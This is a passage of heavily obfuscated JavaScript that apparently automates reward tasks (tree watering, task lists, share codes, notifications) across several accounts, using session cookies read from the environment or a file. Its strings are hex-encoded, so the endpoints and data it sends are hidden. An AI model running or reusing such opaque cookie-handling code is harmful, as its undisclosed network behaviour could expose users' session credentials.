_0x5f6848+_0x552d6a;},'\x47\x42\x57\x72\x4b':_0x2bdf96('\x66\x66\x76\x75',0x456,-0x347,0xccf,0x3e2),'\x6d\x74\x57\x61\x59':_0x2bdf96('\x63\x66\x74\x31',0x94a,0x4d0,0xba7,0xb58)+_0x1b03aa(0xd79,'\x45\x24\x6c\x69',0xd55,0xe89,0xb85),'\x5a\x68\x54\x52\x70':function(_0x342de1,_0x1086ad){return _0x342de1>_0x1086ad;},'\x6c\x78\x79\x71\x6e':function(_0x46387b,_0x22fc27){return _0x46387b===_0x22fc27;},'\x77\x71\x53\x77\x56':_0x4818cc(0x11ab,'\x53\x28\x21\x51',0x16dc,0x98d,0x875),'\x55\x6e\x6e\x49\x46':_0x1b03aa(0x9b5,'\x66\x66\x76\x75',0xa9b,0x33e,0x662),'\x53\x73\x46\x45\x47':function(_0x2676bf,_0x5f04f6){return _0x2676bf-_0x5f04f6;},'\x45\x47\x6b\x73\x73':function(_0x11f204,_0x1036bb){return _0x11f204(_0x1036bb);},'\x75\x67\x56\x5a\x54':function(_0x495617,_0x3d09ac){return _0x495617+_0x3d09ac;},'\x59\x77\x79\x76\x61':_0x3df8ef(0x126a,0x150d,0xdfb,0xc4d,'\x78\x56\x67\x4f')+_0x4818cc(0xfb0,'\x78\x45\x43\x4d',0x1177,0x806,0x136f)+_0x433848(0x15e0,0x1285,'\x24\x6e\x5d\x79',0x176f,0x107a)+_0x433848(0x9c0,0x765,'\x36\x6c\x21\x41',0x8c9,0x1015),'\x4d\x6a\x79\x67\x4e':function(_0x3441f4,_0x14fe65){return _0x3441f4%_0x14fe65;},'\x6b\x6e\x44\x61\x66':function(_0x3808c3,_0x44be72){return _0x3808c3+_0x44be72;},'\x41\x4a\x66\x4c\x47':_0x433848(0xc46,0x64e,'\x24\x63\x6f\x37',0xce9,0x497),'\x6f\x46\x53\x75\x77':_0x3df8ef(0x1624,0x18aa,0xff2,0x10a0,'\x36\x6c\x21\x41')+_0x2bdf96('\x47\x38\x4e\x52',0x939,0x4ea,0x134,0xece),'\x6e\x54\x41\x42\x75':_0x3df8ef(0x14c0,0x1580,0x11c2,0xa27,'\x4f\x40\x44\x71'),'\x79\x55\x6c\x57\x42':_0x4818cc(0x9d2,'\x53\x28\x21\x51',0x845,0xfce,0x74b),'\x4e\x4f\x54\x6a\x46':_0x1b03aa(0xbcb,'\x78\x56\x67\x4f',0x3ca,0x4e2,0x610)+_0x4818cc(0x7ca,'\x53\x41\x31\x35',0xc84,0xe02,0x680),'\x6e\x53\x7a\x56\x57':function(_0x267235,_0xa77d58){return _0x267235+_0xa77d58;},'\x4b\x75\x75\x69\x42':_0x3df8ef(0x11c8,0x1a1b,0x1480,0x1a2e,'\x75\x5d\x54\x4f')+_0x3df8ef(0x1319,0x1ce6,0x16f0,0xfae,'\x50\x21\x6c\x48'),'\x68\x4f\x57\x43\x55':_0x433848(-0x85f,0x453,'\x42\x23\x5e\x5b',0x64a,0x44)+_0x433848(0x13f,0x136f,'\x65\x54\x72\x35',0x733,0xa61),'\x68\x64\x47\x71\x59':_0x3df8ef(0x1783,0x1253,0x1410,0x190b,'\x47\x28\x51\x45')+_0x1b03aa(0x1d1,'\x65\x54\x72\x35',0x9d8,0xc54,0x5e5)+_0x3df8ef(0x105e,0xa4a,0x9cb,0x3ec,'\x4f\x4f\x25\x29')+'\u25c6','\x7a\x49\x68\x63\x62':function(_0x248a28,_0x470dc7){return _0x248a28==_0x470dc7;},'\x73\x64\x4d\x62\x47':function(_0x3cb1f7,_0xae9111){return _0x3cb1f7(_0xae9111);},'\x4a\x73\x6f\x55\x42':function(_0x4425e4,_0x5da449){return _0x4425e4===_0x5da449;},'\x70\x4d\x6a\x45\x75':_0x433848(0x1429,0x9a6,'\x36\x6c\x21\x41',0x1558,0xccc),'\x42\x4f\x4e\x6a\x6c':_0x4818cc(0xec0,'\x5a\x30\x31\x38',0x11c8,0x13b6,0x1730)+_0x3df8ef(0x10c4,0x1555,0x170f,0x1d29,'\x45\x24\x6c\x69')+_0x1b03aa(0xe78,'\x47\x28\x51\x45',0x6bf,0x905,0xfe1)+_0x2bdf96('\x29\x52\x4b\x66',0x3be,0x968,0x237,0xb3a)+_0x2bdf96('\x31\x5e\x34\x5a',0x76c,0x45a,0x40e,0x656)+_0x1b03aa(0x18e5,'\x33\x2a\x64\x68',0x12c3,0x175d,0x19ae)+_0x1b03aa(0x145d,'\x76\x78\x62\x62',0xfaf,0x1717,0x14e7)+_0x3df8ef(0x1955,0xc98,0x1560,0x19b1,'\x42\x23\x5e\x5b'),'\x57\x6c\x4c\x4d\x79':_0x2bdf96('\x29\x52\x4b\x66',0x6db,0xc57,0x7d1,0x94)+_0x433848(0x947,0x423,'\x57\x38\x4f\x70',0xc09,0x5dc)+_0x3df8ef(0xcd7,0x1229,0x1475,0x1a69,'\x47\x28\x51\x45')+'\x6e','\x55\x76\x65\x44\x6f':_0x4818cc(0x9f9,'\x52\x59\x64\x49',0x8ae,0x1258,0x960)+_0x4818cc(0x1035,'\x24\x6e\x5d\x79',0xb64,0x150d,0x1251)};function _0x3df8ef(_0x1742ff,_0x10734c,_0x4f0b56,_0x4f943a,_0xc1205){return _0x43f741(_0x4f0b56-0x2b5,_0x10734c-0x1f4,_0xc1205,_0x4f943a-0x19f,_0xc1205-0x1f4);}if(_0x1b2afc[_0x4818cc(0xe73,'\x6d\x57\x5a\x29',0x6cd,0x1066,0x7ea)](cookies[_0x4818cc(0x8b8,'\x62\x77\x6a\x54',0x6b,0x343,0x1ec)+'\x68'],-0x2*0x10ce+-0x184c+0x4*0xe7a)){if(_0x1b2afc[_0x2bdf96('\x42\x23\x5e\x5b',0xa85,0x740,0x249,0x82d)](_0x1b2afc[_0x2bdf96('\x36\x70\x67\x64',0x370,-0x408,-0x231,0xe2)],_0x1b2afc[_0x1b03aa(-0x26,'\x53\x28\x21\x51',0x730,0xed1,-0x45)]))_0x343a89+=_0x1b2afc[_0x3df8ef(0x1a0f,0xfb0,0x1444,0xd9c,'\x53\x28\x21\x51')](_0x1b2afc[_0x4818cc(0xa02,'\x75\x5d\x54\x4f',0xbe1,0x5a9,0x10d0)](_0x1b2afc[_0x3df8ef(0x1ab2,0xd93,0x166f,0x1c98,'\x32\x49\x5b\x49')](_0x1b2afc[_0x4818cc(0x10dd,'\x33\x2a\x64\x68',0x13f4,0x1523,0xaae)](_0x1b2afc[_0x1b03aa(0x12b1,'\x76\x25\x48\x64',0xc87,0x1446,0xe76)],_0x4d92d1),_0x1b2afc[_0x4818cc(0x358,'\x29\x52\x4b\x66',-0x509,-0xa2,-0x556)]),_0x253b6a[_0x2bdf96('\x35\x37\x26\x25',0x3d1,-0x180,0xbeb,0x17d)+'\x74'][_0x2bdf96('\x77\x40\x43\x59',0x1f8,-0x74e,0xa7,-0x11d)+_0x1b03aa(0xf06,'\x4a\x61\x70\x57',0x9b4,0x676,0x2c5)+_0x433848(0x9de,0x10a6,'\x4a\x61\x70\x57',0x725,0xd01)+_0x3df8ef(0x126f,0x16ab,0xfa3,0x784,'\x41\x43\x59\x76')][_0x2bdf96('\x47\x28\x51\x45',0xc9c,0x3ee,0x1117,0x1168)+_0x433848(0xb81,0x1295,'\x41\x43\x59\x76',0x1230,0xad1)]),_0x1b2afc[_0x433848(0x5d8,0x78a,'\x5a\x30\x31\x38',0x1261,0xafd)]);else{if($[_0x2bdf96('\x66\x66\x76\x75',0xc13,0xa07,0x6a5,0xfeb)][_0x2bdf96('\x36\x6c\x21\x41',0xe6e,0x8dd,0xfea,0x1264)+'\x65']){if(_0x1b2afc[_0x3df8ef(0x5b3,0xc35,0xe38,0x618,'\x42\x23\x5e\x5b')](_0x1b2afc[_0x2bdf96('\x6d\x5e\x6e\x43',0xe02,0x68e,0x11f0,0x52f)],_0x1b2afc[_0x4818cc(0xb98,'\x47\x28\x51\x45',0xb51,0x1080,0x10c6)])){_0x322441[_0x4818cc(0xc6f,'\x31\x5e\x34\x5a',0x531,0xb4d,0xe09)](_0x1b2afc[_0x1b03aa(0xdcd,'\x35\x37\x26\x25',0x111d,0x1532,0x1352)]);return;}else{if(process[_0x433848(0x876,0x8b5,'\x47\x28\x51\x45',0x10a2,0x78a)][_0x1b03aa(0x1230,'\x4a\x61\x70\x57',0x1299,0x1aee,0xffb)+_0x2bdf96('\x32\x49\x5b\x49',0xf81,0xb14,0x8d6,0x1745)+'\x48'])ckPath=process[_0x433848(0x1614,0xb71,'\x6d\x57\x5a\x29',0xc0b,0x1004)][_0x1b03aa(0x1257,'\x62\x77\x6a\x54',0x13b1,0x15e1,0x14bb)+_0x2bdf96('\x5a\x30\x31\x38',0x8b3,0xa4d,0x51b,0xd07)+'\x48'];delete require[_0x4818cc(0x288,'\x5a\x30\x31\x38',0x5e3,-0x28e,-0x24b)][ckPath];let _0x213d57=_0x1b2afc[_0x4818cc(0x51d,'\x78\x56\x67\x4f',0x43d,0x1eb,0x23a)](require,ckPath);for(let _0x4d4768 in _0x213d57)if(!!_0x213d57[_0x4d4768])cookies[_0x3df8ef(0x730,0xc6c,0xd62,0x4a5,'\x42\x23\x5e\x5b')](_0x213d57[_0x4d4768]);}}else{if(_0x1b2afc[_0x2bdf96('\x4e\x54\x74\x26',0x5e2,-0x345,0x791,0x4c2)](_0x1b2afc[_0x3df8ef(0x1638,0x1b2f,0x121f,0x9d5,'\x78\x45\x43\x4d')],_0x1b2afc[_0x3df8ef(0x1151,0x29f,0x9cf,0xb78,'\x65\x54\x72\x35')]))_0x502d15[_0x3df8ef(0x414,-0x13a,0x4f6,0x449,'\x63\x66\x74\x31')](_0x5180d0[_0x23104c]);else{let _0x53407c=$[_0x433848(0x6f5,0xd02,'\x34\x62\x40\x70',0x859,0x3ff)](_0x1b2afc[_0x2bdf96('\x32\x49\x5b\x49',0x1149,0x1186,0x1088,0xc6d)]);if(!!_0x53407c){if(_0x1b2afc[_0x433848(0x1255,0x123e,'\x66\x66\x76\x75',0xdbe,0xca5)](_0x1b2afc[_0x1b03aa(0x16e3,'\x52\x59\x64\x49',0x1386,0x193b,0xa76)],_0x1b2afc[_0x433848(0x635,0x9e8,'\x31\x5e\x34\x5a',0x15bb,0xccf)])){if(_0x1b2afc[_0x3df8ef(0x975,0x2ef,0x504,-0x38f,'\x36\x6c\x21\x41')](_0x53407c[_0x4818cc(0xab0,'\x34\x62\x40\x70',0x1fc,0x820,0x459)+'\x4f\x66']('\x2c'),0x19fb+-0x1390+-0x1*0x66b))cookies[_0x4818cc(0x5cd,'\x24\x6e\x5d\x79',0x1e,-0x252,0x7b9)](_0x53407c);else cookies=_0x53407c[_0x2bdf96('\x6d\x5e\x6e\x43',0xd10,0x13ef,0x4c6,0xae7)]('\x2c');}else _0x420d48+=_0x1b2afc[_0x1b03aa(0xb72,'\x63\x66\x74\x31',0x6a2,0x213,0x710)](_0x56f93e[_0x1b03aa(0xb70,'\x52\x59\x64\x49',0x526,0xb47,0x791)+_0x433848(0x105f,0x8e9,'\x57\x73\x5d\x21',0x120c,0xb53)],'\x2c');}}}}}function _0x1b03aa(_0x5918d8,_0x4fc8be,_0x23574d,_0x468815,_0x1783b6){return _0x43f741(_0x23574d- -0x6,_0x4fc8be-0x41,_0x4fc8be,_0x468815-0x37,_0x1783b6-0xa7);}if(_0x1b2afc[_0x4818cc(0x10b8,'\x5a\x30\x31\x38',0xc42,0xc18,0x1250)](cookies[_0x4818cc(0x4f0,'\x24\x63\x6f\x37',-0x41a,0x550,0x36c)+'\x68'],0x219+-0x3*0x1b5+0x306)){if(_0x1b2afc[_0x2bdf96('\x6b\x59\x6b\x44',-0xf2,0x396,-0x4e6,0x553)](_0x1b2afc[_0x1b03aa(0x9bc,'\x36\x6c\x21\x41',0xd1a,0x1168,0x5e8)],_0x1b2afc[_0x1b03aa(0xaa1,'\x66\x66\x76\x75',0x415,-0x1d8,-0x3b)])){console[_0x3df8ef(0x183d,0x1d27,0x1478,0x1b31,'\x53\x41\x31\x35')](_0x1b2afc[_0x4818cc(0xdc7,'\x4e\x54\x74\x26',0x146d,0x157a,0x593)]);return;}else _0x5b3eba[_0x31b643[0x270+-0x1a*0xb2+0xfa4]]=_0x379330[-0x23df+-0x47*0x50+0x3a10],_0x84e49a[_0x3df8ef(0x1bf6,0x17ca,0x129c,0x1088,'\x33\x2a\x64\x68')](_0x29acf6[0x83*0x26+-0x1*0x1bc7+0x9*0xed]);}if(!$[_0x3df8ef(0x17dd,0x193c,0x154e,0xc13,'\x4f\x40\x44\x71')][_0x3df8ef(0x16b4,0x11ab,0x1494,0x1005,'\x41\x43\x59\x76')+'\x65'])isNotify=$[_0x4818cc(0x132e,'\x77\x40\x43\x59',0xb5d,0xd48,0x1477)](_0x1b2afc[_0x1b03aa(0x14b0,'\x4f\x4f\x25\x29',0x10ec,0x84a,0x1272)]);else notify=_0x1b2afc[_0x2bdf96('\x46\x6f\x5e\x6c',0x108b,0xb45,0x1186,0xb2c)](require,_0x1b2afc[_0x1b03aa(0xb23,'\x78\x56\x67\x4f',0x1f6,0xb01,-0x3)]);function _0x2bdf96(_0x1e02df,_0x8733f1,_0x16018d,_0x210aa2,_0x391c2a){return _0x1e1b73(_0x1e02df-0x4a,_0x8733f1-0x166,_0x1e02df,_0x8733f1- -0x4c0,_0x391c2a-0xdf);}function _0x4818cc(_0x282eaa,_0x2f854e,_0x58e8ec,_0x5b928e,_0x11fae5){return _0x43f741(_0x282eaa- -0xa4,_0x2f854e-0xb3,_0x2f854e,_0x5b928e-0x127,_0x11fae5-0x67);}let _0x1b718a=_0x1b2afc[_0x1b03aa(0x27f,'\x53\x34\x6c\x29',0x640,0x797,0xbfb)](cookies[_0x3df8ef(0x1192,0xd51,0x152a,0x1291,'\x6d\x5e\x6e\x43')+'\x68'],Math[_0x1b03aa(0x1371,'\x5a\x30\x31\x38',0x1325,0xdd9,0x1199)](-0x1fd7+-0x52d+-0x2*-0x134a))?Math[_0x2bdf96('\x35\x37\x26\x25',0xe0b,0xcac,0x12f5,0x765)](-0x2f*0x8b+0x4c2+0x1653):cookies[_0x2bdf96('\x53\x78\x42\x55',0xde5,0x85d,0xf08,0x103c)+'\x68'];function _0x433848(_0x57c928,_0x58ef13,_0xf1a003,_0x2686f5,_0x2cac6c){return _0x353885(_0xf1a003,_0x58ef13-0x127,_0xf1a003-0x18e,_0x2686f5-0x114,_0x2cac6c- -0x3ba);}for(let _0x1a8ae6=0x2*-0x108d+-0x1bf5+0xcb*0x4d;_0x1b2afc[_0x4818cc(0x1339,'\x52\x59\x64\x49',0x15f5,0x1a4f,0xcee)](_0x1a8ae6,_0x1b718a);_0x1a8ae6++){if(_0x1b2afc[_0x2bdf96('\x5d\x78\x21\x39',0xf25,0xb31,0xed8,0x770)](_0x1b2afc[_0x1b03aa(0x11f1,'\x24\x63\x6f\x37',0xf1c,0xd65,0x166a)],_0x1b2afc[_0x433848(0x9e2,0x3f7,'\x4f\x40\x44\x71',0x898,0x199)]))_0x1504cb=_0x1b2afc[_0x433848(0x26a,0x4ff,'\x53\x41\x31\x35',0x13d2,0xad5)](_0x1b2afc[_0x2bdf96('\x53\x34\x6c\x29',0xc33,0x149b,0xcb0,0xc05)](_0x497db1[_0x433848(-0x29,0x7a3,'\x47\x38\x4e\x52',-0x2ab,0x15)],_0x1b2afc[_0x4818cc(0x882,'\x5a\x30\x31\x38',0xcac,0xc66,0xc46)]),_0x1f7071[_0x1b03aa(0xda5,'\x57\x73\x5d\x21',0x104c,0x12e8,0xf56)+'\x74'][_0x3df8ef(0x129c,0xc13,0xe8d,0xc87,'\x66\x66\x76\x75')+_0x4818cc(0x1247,'\x32\x49\x5b\x49',0x16d3,0x1460,0x17b2)]);else{console[_0x433848(0xef8,-0x225,'\x5d\x5d\x4d\x42',0xd4e,0x645)](_0x1b2afc[_0x4818cc(0xbb9,'\x75\x5d\x54\x4f',0x55b,0x85a,0x84e)](_0x1b2afc[_0x1b03aa(0x5e1,'\x45\x33\x6b\x40',0xda8,0x11af,0x5b1)](_0x1b2afc[_0x433848(-0x86b,-0x31d,'\x53\x34\x6c\x29',0x4fb,0x2b)](_0x1b2afc[_0x3df8ef(-0x22,0x51c,0x4e8,0x51b,'\x75\x5d\x54\x4f')](_0x1b2afc[_0x4818cc(0xcaa,'\x50\x21\x6c\x48',0xd7e,0x844,0x4c5)],_0x1b2afc[_0x433848(-0x3bf,-0x42d,'\x41\x43\x59\x76',-0x186,0x197)](_0x1a8ae6,-0x4*-0x14b+-0x364*-0x4+-0x12bb)),_0x1b2afc[_0x4818cc(0x1182,'\x6b\x59\x6b\x44',0x14b4,0x1371,0x152a)]),cookies[_0x2bdf96('\x6b\x59\x6b\x44',0x1039,0x15ba,0x844,0x195a)+'\x68']),_0x1b2afc[_0x4818cc(0x70a,'\x66\x66\x76\x75',0x5f1,0xd26,0x892)])),thiscookie=cookies[_0x1a8ae6];if(!thiscookie)continue;waterNum=0x377*-0x1+0x41c*0x8+-0x1*0x1d69,waterTimes=-0x1e52+-0x1086*-0x1+0xdcc*0x1,thiscookie=thiscookie[_0x2bdf96('\x4f\x40\x44\x71',0x5d6,0x928,0x154,0x187)+'\x63\x65'](/ /g,'')[_0x4818cc(0xb70,'\x52\x7a\x58\x2a',0x21d,0x99c,0x700)+'\x63\x65'](/\n/g,''),thiscookie=await _0x1b2afc[_0x2bdf96('\x24\x63\x6f\x37',0xdd2,0xcd2,0x510,0x128d)](taskLoginUrl,thiscookie);if(!thiscookie){if(_0x1b2afc[_0x433848(-0x595,0x8fd,'\x4f\x4f\x25\x29',0x669,0x7a)](_0x1b2afc[_0x1b03aa(0x110d,'\x53\x28\x21\x51',0x104d,0xa05,0x133b)],_0x1b2afc[_0x1b03aa(0xa31,'\x78\x56\x67\x4f',0x1112,0xb60,0x15a9)]))_0xae1ea=_0x161eaa[_0x433848(0xa57,-0x12c,'\x29\x52\x4b\x66',-0x2aa,0x5ed)+'\x72'](0x1fb3+0x5e9+-0x259c,_0x1b2afc[_0x2bdf96('\x5d\x78\x21\x39',0xa08,0xfaf,0xeb8,0x954)](_0x37b344[_0x2bdf96('\x31\x5e\x34\x5a',0x66a,0x883,0xf8b,0xa31)+'\x68'],0x1*0xf76+-0xc9f+-0xb*0x42)),_0x4a6047=_0x13a5e6[_0x433848(0x160b,0x121c,'\x31\x5e\x34\x5a',0x921,0xf2e)]('\x2c');else{console[_0x2bdf96('\x78\x56\x67\x4f',0xdc5,0xcde,0xbed,0x521)](_0x1b2afc[_0x2bdf96('\x57\x38\x4f\x70',0xae5,0x311,0x242,0xea5)]);continue;}}let _0x1aba97=await _0x1b2afc[_0x1b03aa(0x15f0,'\x24\x63\x6f\x37',0x1067,0x192e,0xbb3)](userinfo);if(_0x1b2afc[_0x433848(0xdc5,0x553,'\x24\x6e\x5d\x79',0x15e9,0xe3f)](_0x1aba97,0xa88+0x3*0x1d3+-0x1001)){if(_0x1b2afc[_0x2bdf96('\x41\x43\x59\x76',0x6ee,0x7b6,0x721,0xbd5)](_0x1b2afc[_0x433848(-0x4fa,-0x4ba,'\x29\x52\x4b\x66',0x768,0x104)],_0x1b2afc[_0x4818cc(0x3a4,'\x6b\x59\x6b\x44',0x624,0x2e2,0x9df)])){$[_0x433848(0xe43,0x306,'\x6e\x70\x4f\x48',0x307,0xa5f)+'\x79'](_0x1b2afc[_0x4818cc(0x12bd,'\x31\x5e\x34\x5a',0x1355,0x189f,0x1ae5)](_0x1b2afc[_0x4818cc(0x59b,'\x5d\x78\x21\x39',-0x5,0xca8,0xe3c)]('\u7b2c',_0x1b2afc[_0x1b03aa(0x481,'\x53\x34\x6c\x29',0x2a9,0xada,-0x17b)](_0x1a8ae6,0xfd1+-0x26c3+-0x497*-0x5)),_0x1b2afc[_0x1b03aa(0x148c,'\x41\x43\x59\x76',0x10a6,0xb7f,0x18f2)]),_0x1b2afc[_0x2bdf96('\x46\x6f\x5e\x6c',0x593,0xc6,0x631,0x430)],{'\x75\x72\x6c':_0x1b2afc[_0x1b03aa(0xd3b,'\x36\x6c\x21\x41',0x71f,0xfc0,0xcda)]});$[_0x2bdf96('\x53\x28\x21\x51',0x10e6,0x978,0x964,0x1762)][_0x4818cc(0x25a,'\x6b\x59\x6b\x44',0x141,0x645,-0x30)+'\x65']&&_0x1b2afc[_0x4818cc(0x537,'\x57\x38\x4f\x70',-0xb6,0xd9a,0x592)](_0x1b2afc[_0x4818cc(0xce8,'\x73\x48\x6e\x6e',0x8a5,0x1409,0xe61)](_0x1b2afc[_0x4818cc(0xc21,'\x36\x70\x67\x64',0x151a,0x3bd,0xcac)]('',isNotify),''),_0x1b2afc[_0x433848(0xc1b,0xd74,'\x6d\x57\x5a\x29',0xeb3,0xea1)])&&(_0x1b2afc[_0x1b03aa(0x956,'\x24\x6e\x5d\x79',0x293,-0x373,0x8d3)](_0x1b2afc[_0x1b03aa(0xe01,'\x32\x49\x5b\x49',0xf5a,0x87d,0x6c6)],_0x1b2afc[_0x1b03aa(0xb2b,'\x45\x24\x6c\x69',0xdee,0x15a5,0x673)])?_0x28d78f=_0x1b2afc[_0x2bdf96('\x52\x59\x64\x49',0x1c2,0x78a,-0xe7,-0x46a)](_0x1b2afc[_0x433848(-0x108,0x713,'\x78\x56\x67\x4f',-0x524,0x206)](_0x130885[_0x1b03aa(-0x211,'\x5d\x78\x21\x39',0x4da,0x71b,0x734)],_0x1b2afc[_0x4818cc(0x3d2,'\x36\x57\x6b\x69',0x98,-0x186,0x42e)]),_0x1c2d30[_0x4818cc(0xdb3,'\x47\x28\x51\x45',0x11bc,0x13ed,0xba9)+'\x74'][_0x4818cc(0x76d,'\x6e\x70\x4f\x48',0xd03,0x302,0x713)+_0x1b03aa(-0x27b,'\x31\x5e\x34\x5a',0x547,0xb51,0x8f0)]):await notify[_0x1b03aa(0xa73,'\x77\x40\x43\x59',0x1dd,0xa2a,0x341)+_0x433848(0xd80,0xdc6,'\x57\x73\x5d\x21',0xd97,0x1272)](_0x1b2afc[_0x1b03aa(0xfb8,'\x4e\x54\x74\x26',0x1357,0xb04,0xfcc)](_0x1b2afc[_0x4818cc(0xbf0,'\x57\x73\x5d\x21',0xa28,0x4e0,0x1113)]('\u7b2c',_0x1b2afc[_0x1b03aa(0x99f,'\x35\x37\x26\x25',0xbf5,0x7bd,0x2ab)](_0x1a8ae6,0x2c*0xd4+-0xd*-0x11b+-0x32ce)),_0x1b2afc[_0x3df8ef(0x1542,0x12aa,0x1386,0x1075,'\x78\x45\x43\x4d')]),_0x1b2afc[_0x433848(-0x3ae,0x832,'\x4f\x40\x44\x71',0x3b6,0x12d)]));continue;}else _0xdf931e=_0x1b2afc[_0x4818cc(0x1ea,'\x76\x25\x48\x64',0x586,-0x109,-0x48c)](_0x1b2afc[_0x3df8ef(0xce3,0x144,0x896,0xe8d,'\x57\x38\x4f\x70')](_0x19c138[_0x3df8ef(0x14e5,0x1358,0x10a4,0xd25,'\x57\x38\x4f\x70')],_0x1b2afc[_0x4818cc(0x3d2,'\x36\x57\x6b\x69',0x837,0x5fb,-0x2b)]),_0x853e90[_0x433848(-0x2a5,-0x5b,'\x57\x38\x4f\x70',-0x77,0x656)+'\x74'][_0x2bdf96('\x65\x54\x72\x35',0x384,-0x2f3,0x7e9,0xae2)+_0x4818cc(0x4c6,'\x47\x28\x51\x45',0x940,-0xea,-0x44c)]);}await $[_0x433848(0xf5,0x504,'\x77\x40\x43\x59',0xad8,0x594)](-0x1047*0x2+-0x19b2+0x3e28),await _0x1b2afc[_0x2bdf96('\x6d\x5e\x6e\x43',0xbe5,0x110c,0xb87,0x1479)](treeInfo,-0x1*-0x15fb+-0x1410+-0x1eb),await $[_0x1b03aa(0xa09,'\x6b\x5e\x4e\x4d',0x342,0x35f,0xc91)](-0x25b*-0xf+0x1abf+-0x3a2c);let _0x268d45=await _0x1b2afc[_0x433848(0x161f,0x848,'\x5d\x5d\x4d\x42',0xe2c,0xd8f)](taskList);await $[_0x1b03aa(0xc7f,'\x52\x7a\x58\x2a',0x102b,0x723,0x18f9)](0x16c+-0x606*-0x3+-0xf96),await _0x1b2afc[_0x4818cc(0x639,'\x63\x66\x74\x31',0x5ac,-0x8f,-0x1e3)](waterBottle),await $[_0x4818cc(0x6c0,'\x29\x52\x4b\x66',0xcd,0xe86,-0x22a)](0x15f*-0x7+0x9*0x28d+-0x974),await _0x1b2afc[_0x4818cc(0x3a1,'\x33\x2a\x64\x68',0xbd,-0x469,0x7d6)](runTask,_0x268d45),await $[_0x4818cc(0xf8d,'\x52\x7a\x58\x2a',0x95b,0x9c5,0xfb4)](-0x1e8*0x2+-0x54*-0x61+-0x181c),await _0x1b2afc[_0x4818cc(0x88b,'\x45\x24\x6c\x69',-0x14,0x846,0x1132)](zhuLi),await $[_0x3df8ef(0x149b,0xdb2,0x13d6,0x1a2f,'\x6d\x57\x5a\x29')](-0x10d6+-0x21f4+0x36b2),await _0x1b2afc[_0x2bdf96('\x5d\x5d\x4d\x42',0xf10,0x1344,0x79f,0x845)](water),await $[_0x4818cc(0xeff,'\x31\x5e\x34\x5a',0x5dd,0x14d7,0x1198)](-0x1c39*0x1+-0x1d10+0x3d31),hzstr='',_0x268d45=await _0x1b2afc[_0x3df8ef(0xeb7,0x123f,0x947,0xabf,'\x47\x38\x4e\x52')](taskList);if(_0x268d45&&_0x268d45[_0x1b03aa(0xb7f,'\x47\x38\x4e\x52',0x2ea,-0x1dd,0xac7)+'\x74']&&_0x268d45[_0x2bdf96('\x76\x25\x48\x64',0xb25,0x97f,0x146b,0x410)+'\x74'][_0x433848(0x1037,0xd11,'\x45\x24\x6c\x69',0x51d,0x97c)+_0x4818cc(0xe31,'\x36\x6c\x21\x41',0xdca,0xa58,0x7ff)+'\x73\x74']){if(_0x1b2afc[_0x433848(0x53f,0x1001,'\x33\x2a\x64\x68',0x344,0x8f0)](_0x1b2afc[_0x2bdf96('\x53\x41\x31\x35',0x109a,0xbc1,0x1494,0x906)],_0x1b2afc[_0x433848(0x14e8,0x659,'\x6b\x59\x6b\x44',0x1163,0xd20)])){if(_0xa2285){const _0x2eddda=_0x1d895d[_0x433848(0x9cd,0xb9f,'\x73\x48\x6e\x6e',0xc43,0x491)](_0x3ef0e6,arguments);return _0xc16bc3=null,_0x2eddda;}}else for(let _0x288a92=-0x29+0x89*0x37+-0x1d46;_0x1b2afc[_0x1b03aa(0x87a,'\x34\x62\x40\x70',0xba6,0xc98,0x720)](_0x288a92,_0x268d45[_0x4818cc(0xc05,'\x52\x59\x64\x49',0xbe9,0xd0f,0x10b2)+'\x74'][_0x2bdf96('\x36\x57\x6b\x69',0x932,0x6f4,0x109f,0x71f)+_0x2bdf96('\x53\x41\x31\x35',0xdbd,0x10a1,0xe51,0x1585)+'\x73\x74'][_0x3df8ef(0xca2,0x18b0,0x1234,0x10a1,'\x63\x66\x74\x31')+'\x68']);_0x288a92++){if(_0x1b2afc[_0x1b03aa(0x90e,'\x41\x43\x59\x76',0x123d,0x15dc,0x137c)](_0x1b2afc[_0x3df8ef(0xb99,0xbfd,0x8fd,0xc80,'\x45\x33\x6b\x40')],_0x1b2afc[_0x433848(0x145b,0x872,'\x50\x21\x6c\x48',0x1641,0x1011)])){let _0x2a88e4=_0x268d45[_0x2bdf96('\x77\x40\x43\x59',0x2ec,0x7c,0xc2b,0xb67)+'\x74'][_0x1b03aa(0xd07,'\x29\x52\x4b\x66',0x43a,0x25a,0x226)+_0x2bdf96('\x6b\x5e\x4e\x4d',0x8fa,0x88b,0xcb0,0x8e)+'\x73\x74'][_0x288a92];if(_0x1b2afc[_0x4818cc(0x12ce,'\x6d\x5e\x6e\x43',0x18f0,0xb78,0xcc9)](_0x2a88e4[_0x1b03aa(0xe64,'\x75\x5d\x54\x4f',0xa47,0xa51,0x4df)+'\x64'],_0x1b2afc[_0x4818cc(0xf87,'\x62\x77\x6a\x54',0xa57,0x10b3,0x11ab)])){if(_0x1b2afc[_0x1b03aa(0x142d,'\x29\x52\x4b\x66',0x1066,0xdd4,0xb7b)](_0x1b2afc[_0x3df8ef(0x16ec,0x1202,0xfdb,0x1537,'\x52\x59\x64\x49')],_0x1b2afc[_0x4818cc(0xfa8,'\x53\x78\x42\x55',0x15a8,0xf69,0x13d4)]))_0xe76dd0[_0x433848(0xcd6,0x24d,'\x6d\x5e\x6e\x43',0xa6a,0x540)](_0x1b2afc[_0x3df8ef(0x1270,0x1311,0x128d,0x1406,'\x62\x77\x6a\x54')]);else{shareCode+=_0x1b2afc[_0x1b03aa(0xc4,'\x57\x73\x5d\x21',0x70c,0xdad,0x72a)](_0x1b2afc[_0x3df8ef(0x157b,0xbf2,0xd11,0xba0,'\x33\x2a\x64\x68')]('\x40',_0x2a88e4[_0x2bdf96('\x33\x2a\x64\x68',0xa47,0x1253,0x1070,0x130a)+_0x3df8ef(0x57a,0xb1a,0x7bb,0x10a5,'\x52\x59\x64\x49')]),'\x2c'),hzstr=_0x1b2afc[_0x4818cc(0x2f5,'\x76\x78\x62\x62',0xa9a,0x62d,0xc10)](_0x1b2afc[_0x433848(0x2bc,0xa99,'\x78\x45\x43\x4d',0x46,0x40a)](_0x1b2afc[_0x3df8ef(0x1066,0xfd7,0x1163,0xa0b,'\x73\x48\x6e\x6e')](_0x1b2afc[_0x4818cc(0x10a1,'\x24\x6e\x5d\x79',0x15b3,0x1538,0xaaf)](_0x1b2afc[_0x4818cc(0x124f,'\x36\x57\x6b\x69',0xd36,0x18d9,0xb1b)],_0x2a88e4[_0x4818cc(0x43f,'\x45\x33\x6b\x40',0x28f,0x69b,0x964)+_0x433848(0x91e,0x53a,'\x53\x78\x42\x55',-0x620,0x200)]),'\x2f'),_0x2a88e4[_0x4818cc(0x11b6,'\x5a\x30\x31\x38',0x1